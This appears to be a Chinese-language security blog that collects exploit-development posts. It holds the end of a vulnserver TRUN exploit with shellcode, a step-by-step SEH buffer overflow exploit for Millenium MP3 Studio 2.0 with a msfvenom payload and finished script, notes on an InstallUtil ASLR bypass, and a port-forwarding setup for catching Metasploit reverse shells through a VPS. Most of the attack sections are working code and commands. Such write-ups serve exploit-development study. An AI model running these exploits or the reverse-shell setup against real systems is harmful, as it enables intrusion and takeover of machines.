shellcode += b"\x58\x33\xc9\xb1\x52\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xc8\xe9\x78\x55\x14\x1d\xfe\x96\xe4\xde"
shellcode += b"\x9f\x1f\x01\xef\x9f\x44\x42\x40\x10\x0e\x06"
shellcode += b"\x6d\xdb\x42\xb2\xe6\xa9\x4a\xb5\x4f\x07\xad"
shellcode += b"\xf8\x50\x34\x8d\x9b\xd2\x47\xc2\x7b\xea\x87"
shellcode += b"\x17\x7a\x2b\xf5\xda\x2e\xe4\x71\x48\xde\x81"
shellcode += b"\xcc\x51\x55\xd9\xc1\xd1\x8a\xaa\xe0\xf0\x1d"
shellcode += b"\xa0\xba\xd2\x9c\x65\xb7\x5a\x86\x6a\xf2\x15"
shellcode += b"\x3d\x58\x88\xa7\x97\x90\x71\x0b\xd6\x1c\x80"
shellcode += b"\x55\x1f\x9a\x7b\x20\x69\xd8\x06\x33\xae\xa2"
shellcode += b"\xdc\xb6\x34\x04\x96\x61\x90\xb4\x7b\xf7\x53"
shellcode += b"\xba\x30\x73\x3b\xdf\xc7\x50\x30\xdb\x4c\x57"
shellcode += b"\x96\x6d\x16\x7c\x32\x35\xcc\x1d\x63\x93\xa3"
shellcode += b"\x22\x73\x7c\x1b\x87\xf8\x91\x48\xba\xa3\xfd"
shellcode += b"\xbd\xf7\x5b\xfe\xa9\x80\x28\xcc\x76\x3b\xa6"
shellcode += b"\x7c\xfe\xe5\x31\x82\xd5\x52\xad\x7d\xd6\xa2"
shellcode += b"\xe4\xb9\x82\xf2\x9e\x68\xab\x98\x5e\x94\x7e"
shellcode += b"\x0e\x0e\x3a\xd1\xef\xfe\xfa\x81\x87\x14\xf5"
shellcode += b"\xfe\xb8\x17\xdf\x96\x53\xe2\x88\x58\x0b\xe1"
shellcode += b"\xc1\x31\x4e\xf9\xc0\x9d\xc7\x1f\x88\x0d\x8e"
shellcode += b"\x88\x25\xb7\x8b\x42\xd7\x38\x06\x2f\xd7\xb3"
shellcode += b"\xa5\xd0\x96\x33\xc3\xc2\x4f\xb4\x9e\xb8\xc6"
shellcode += b"\xcb\x34\xd4\x85\x5e\xd3\x24\xc3\x42\x4c\x73"
shellcode += b"\x84\xb5\x85\x11\x38\xef\x3f\x07\xc1\x69\x07"
shellcode += b"\x83\x1e\x4a\x86\x0a\xd2\xf6\xac\x1c\x2a\xf6"
shellcode += b"\xe8\x48\xe2\xa1\xa6\x26\x44\x18\x09\x90\x1e"
shellcode += b"\xf7\xc3\x74\xe6\x3b\xd4\x02\xe7\x11\xa2\xea"
shellcode += b"\x56\xcc\xf3\x15\x56\x98\xf3\x6e\x8a\x38\xfb"
shellcode += b"\xa5\x0e\x58\x1e\x6f\x7b\xf1\x87\xfa\xc6\x9c"
shellcode += b"\x37\xd1\x05\x99\xbb\xd3\xf5\x5e\xa3\x96\xf0"
shellcode += b"\x1b\x63\x4b\x89\x34\x06\x6b\x3e\x34\x03"



PAYLOAD = (
b'TRUN /.:/' +
b'A' * 2003+
struct.pack('<L',0x625011af)+
b'\x90'*32+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

vulnserver

参考:

1.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

本次复现的程序链接:Millenium MP3 Studio 2.0 - ‘mpf’ Local Buffer Overflow

环境为:win xp sp3 ,DEP情况如下:

seh

Fuzz

首先,创建mpf文件用于触发程序崩溃。crash.py

1
2
3
4
5
file_name = "evil.mpf"
junk = "A"*5000
with open(file_name,'w') as f:
f.write(junk)
print "evil.mpf File Created successfully\n";

windbg获取的crash截图如下:

seh

发现SEH链被覆盖,这个地方非常重要。现在计算覆盖SEH链第一个异常处理结构SE handler需要多少字节。

Offset

我们需要确定需要多少字节能够覆盖next SEH、当前SEH结构的SE Handler

1
msf-pattern_create -l 5000

seh

重新构造一个evil.mpf

1
2
3
4
5
file_name = "evil.mpf"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
with open(file_name,'w') as f:
f.write(junk)
print "evil.mpf File Created successfully\n";

windbg中重新打开,查看SEH链的值。

seh1

这样可以知道SEH Hander被覆盖为46326846,进而可以确定offset的位置:

1
msf-pattern_offset -q 46326846

seh

可以知道,4116个字符可以覆盖SEH Handler4112个字符可以覆盖Next SEH。(参照SEH结构,Next SEHSEH Handler前面)

Modules without SafeSEH

Immunity Debugger中打开MP3Studio.exe,查找P/P/R

1
!mona seh -n

seh

注意:选择的P/P/R所在DLL应该SafeSEHFalse

Address of P/P/R

在这里我们选择0x10014e98地址所在的P/P/R

Short jump on SEH

理论上0xeb069090就可以让eip指向shellcode的开始部分,触发shellcode。但是实际上跳转完成之后,后续中间可能存在脏字符,需要根据实际情况进行调整。如本例。用\xcc\xcc\xcc\xcc中断程序执行,来看一下栈上的数据的情况。当前使用的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
file_name = "exp.mpf"
#msf-pattern_create -l 5000
junk = "A"*4112
# nseh = "\xeb\x06\x90\x90" #jump 0x08 bytes
nseh = "\xcc\xcc\xcc\xcc"
seh = "\x98\x4e\x01\x10" #0x10014e98
nops = ""
# nops = "\x90"*100
shellcode = "D"*(5000-4112-4-4)
with open(file_name,'w') as f:
f.write(junk+nseh+seh+nops+shellcode)
print "exp.mpf File Created successfully\n";

windbgeip所指向栈空间数据如下:

seh

注意上面标红的部分,出现了\x00shellcode被截断了。为了让shellcode正常执行,可以用一段\x90指令填充这一块栈空间,然后再跟shellcode

Bad characters

检查是否存在坏字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

查询坏字符的程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
file_name = "badchar.mpf"
#msf-pattern_create -l 5000
junk = "A"*4112
# nseh = "\xeb\x06\x90\x90" #jump 0x08 bytes
nseh = "\xcc\xcc\xcc\xcc"
seh = "\x98\x4e\x01\x10" #0x10014e98
# nops = ""
nops = "\x90"*100
#check badchars
#\x00\x0a\x0d\x1a
shellcode = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
with open(file_name,'w') as f:
f.write(junk+nseh+seh+nops+shellcode)
print "badchar.mpf File Created successfully\n";

最终,获取的坏字符为:\x00\x0a\x0d\x1a

生成弹计算器的shellcode

1
msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x1a' -f c EXITFUNC=thread

最终exp如下所示:(注意跳转的长度,不止6字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
file_name = "exp.mpf"
#msf-pattern_create -l 5000
junk = "A"*4112
nseh = "\xeb\x4e\x90\x90" #jump 0x50 bytes
# nseh = "\xcc\xcc\xcc\xcc"
seh = "\x98\x4e\x01\x10" #0x10014e98
# nops = ""
nops = "\x90"*100

#msfvenom -p windows/exec CMD=calc.exe -b '\x00\x0a\x0d\x1a' -f c EXITFUNC=thread

shellcode = (
"\xbb\xf2\x3b\x6a\x19\xdb\xcc\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x31\x83\xc2\x04\x31\x5a\x0f\x03\x5a\xfd\xd9\x9f\xe5\xe9\x9c"
"\x60\x16\xe9\xc0\xe9\xf3\xd8\xc0\x8e\x70\x4a\xf1\xc5\xd5\x66"
"\x7a\x8b\xcd\xfd\x0e\x04\xe1\xb6\xa5\x72\xcc\x47\x95\x47\x4f"
"\xcb\xe4\x9b\xaf\xf2\x26\xee\xae\x33\x5a\x03\xe2\xec\x10\xb6"
"\x13\x99\x6d\x0b\x9f\xd1\x60\x0b\x7c\xa1\x83\x3a\xd3\xba\xdd"
"\x9c\xd5\x6f\x56\x95\xcd\x6c\x53\x6f\x65\x46\x2f\x6e\xaf\x97"
"\xd0\xdd\x8e\x18\x23\x1f\xd6\x9e\xdc\x6a\x2e\xdd\x61\x6d\xf5"
"\x9c\xbd\xf8\xee\x06\x35\x5a\xcb\xb7\x9a\x3d\x98\xbb\x57\x49"
"\xc6\xdf\x66\x9e\x7c\xdb\xe3\x21\x53\x6a\xb7\x05\x77\x37\x63"
"\x27\x2e\x9d\xc2\x58\x30\x7e\xba\xfc\x3a\x92\xaf\x8c\x60\xf8"
"\x2e\x02\x1f\x4e\x30\x1c\x20\xfe\x59\x2d\xab\x91\x1e\xb2\x7e"
"\xd6\xc1\x50\xab\x22\x6a\xcd\x3e\x8f\xf7\xee\x94\xd3\x01\x6d"
"\x1d\xab\xf5\x6d\x54\xae\xb2\x29\x84\xc2\xab\xdf\xaa\x71\xcb"
"\xf5\xc8\x14\x5f\x95\x20\xb3\xe7\x3c\x3d")

with open(file_name,'w') as f:
f.write(junk+nseh+seh+nops+shellcode)
print "exp.mpf File Created successfully\n";

seh

参考链接:

1.https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/

2.https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/

3.https://web.archive.org/web/20200514192757/https://fullpwnops.com/immunity-windbg-mona/

具体复现见参考1所示就行,主要讲几个需要注意的点。

1.对函数调用如何入栈需要弄清楚,尤其是调用函数和被调用函数栈帧的分布,注意栈的增长方向,我们一般说的栈是指从高地址向低地址这个方向延伸,每一个位置是四个字节PUSH入栈的时候,ESP-4POP出栈的时候,ESP+4

2.因为不安全的函数,导致栈溢出。覆盖的时候是从低地址往高地址(被调用的不安全函数的栈帧往调用函数栈帧)依次覆盖。被调用函数执行完成后返回调用函数,此时ESP应该指向shellcode的开始部分(一般情况是这样,大部分情况shellcode可能被吃掉部分),这也是EIP应该覆盖为JMP ESP的机器码的原因。

3.溢出覆盖的时候,需要注意JMP ESP是否能够指向shellcode,有的时候shellcode的开始可能会被吃掉一部分,最好是调试看一下,可能需要在shellcode前面加一些NOP字符;shellcode编写的时候,会遇到脏字符,需要不断调试,去掉脏字符,其中\x00是默认需要去掉的。

参考:

1.https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/

2.https://www.cnblogs.com/clover-toeic/p/3755401.html

3.https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/

vs编译64位程序的时候会默认增加ASLR,如果需要修改的话,需要手动在csproj文件中的下面增加False。msbuild会增加地址随机化,这是msbuild的默认安全机制,csc默认不会加,我是用dnspy比较两个c#可执行程序发现的。更进一步 InstallUtil.exe bypass的时候,win10 x64下如果c#利用代码编译为x86 是可以执行的,如果编译为x64 又会出现内存不可读,原因是64位InstallUtil自带ASLR,取消掉它的ASLR 发现x64的利用代码又可以执行了。谷歌能搜到的都是win7环境 目测win7 x64还没有普遍开启ASLR。

这篇文章配置端口转发主要的应用场景为:本地虚拟机Kalimetasploit在攻击成功时,需要获取外网主机的反弹shell。因为虚拟机kali为本地局域网,外网无法直接访问。需要在VPS上做端口转发,让外网主机先访问VPS某个端口,然后VPS的端口转发到本地虚拟机kali的某个端口。

环境预设

虚拟机Kali:位于本地,NAT模式,外网无法访问

外网VPS:公网独立IPUbuntu 20.04

第一种办法:nftables+ssh远程端口转发

说是iptablesubuntu 20.04已经默认不再使用,推荐nftables

1
2
3
4
5
systemctl start nftables
nft add table ip nat
nft -- add chain ip nat prerouting { type nat hook prerouting priority -100 \; }
nft add rule ip nat prerouting tcp dport 5555 redirect to :4444
nft list ruleset

ssh远程端口转发参照第二种办法中相关设置。

第二种办法:rinetd+ssh远程端口转发

  • 远程VPS安装rinetd
1
apt install rinetd
  • 配置rinetd(/etc/rinetd.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#
# this is the configuration file for rinetd, the internet redirection server
#
# you may specify global allow and deny rules here
# only ip addresses are matched, hostnames cannot be specified here
# the wildcards you may use are * and ?
#
# allow 192.168.2.*
# deny 192.168.2.1?


#
# forwarding rules come here
#
# you may specify allow and deny rules after a specific forwarding rule
# to apply to only that forwarding rule
#
# bindadress bindport connectaddress connectport
0.0.0.0 5555 localhost 4444

# logging information
logfile /var/log/rinetd.log

# uncomment the following line if you want web-server style logfile format
# logcommon

这里配置的意思是:0.0.0.0表示本机绑定所有可用地址,将所有发往本机5555端口的请求转发到localhost4444端口。

  • 运行rinetd
1
rinetd -c /etc/rinetd.conf

ssh远程端口转发的时候,需要注意几点:

  1. sshd_config里要打开AllowTcpForwarding选项,否则-R远程端口转发会失败。

  2. 默认转发到远程主机上的端口绑定的是127.0.0.1,如要绑定0.0.0.0需要打开sshd_config里的GatewayPorts选项。

  3. SSH实现的内网穿透长时间没有数据传输会断掉,需要进行一些配置,让客户端和服务端保持连接:

    • 方法1.安装autossh,这个软件能够自动重连

      • 在虚拟机kali产生公钥和私钥

        1
        2
        3
        4
        $ ssh-keygen
        ...(一直按Enter,最后在~/.ssh/下生成密钥)
        $ ls ~/.ssh/
        id_rsa id_rsa.pub known_hosts
      • 复制kali生成的id_rsa.pub公钥到外网VPS主机上,并将内容加入到~/.ssh/authorized_keys

        1
        $ cat id_rsa.pub >> ~/.ssh/authorized_keys
      • autossh连接,其中,-M参数指定了autossh监听的端口,注意这里与其转发的端口要区分开。另外,-N表示禁止执行远程命令,-T表示禁止分配伪终端,这两个参数结合起来表示SSH连接不允许用户交互执行远程操作,只能用来传数据,从而保证了远程主机的安全。

        1
        autossh  -M 6666 -NTR 0.0.0.0:4444:192.168.13.4:4444 root@vps-ip -p vps-port
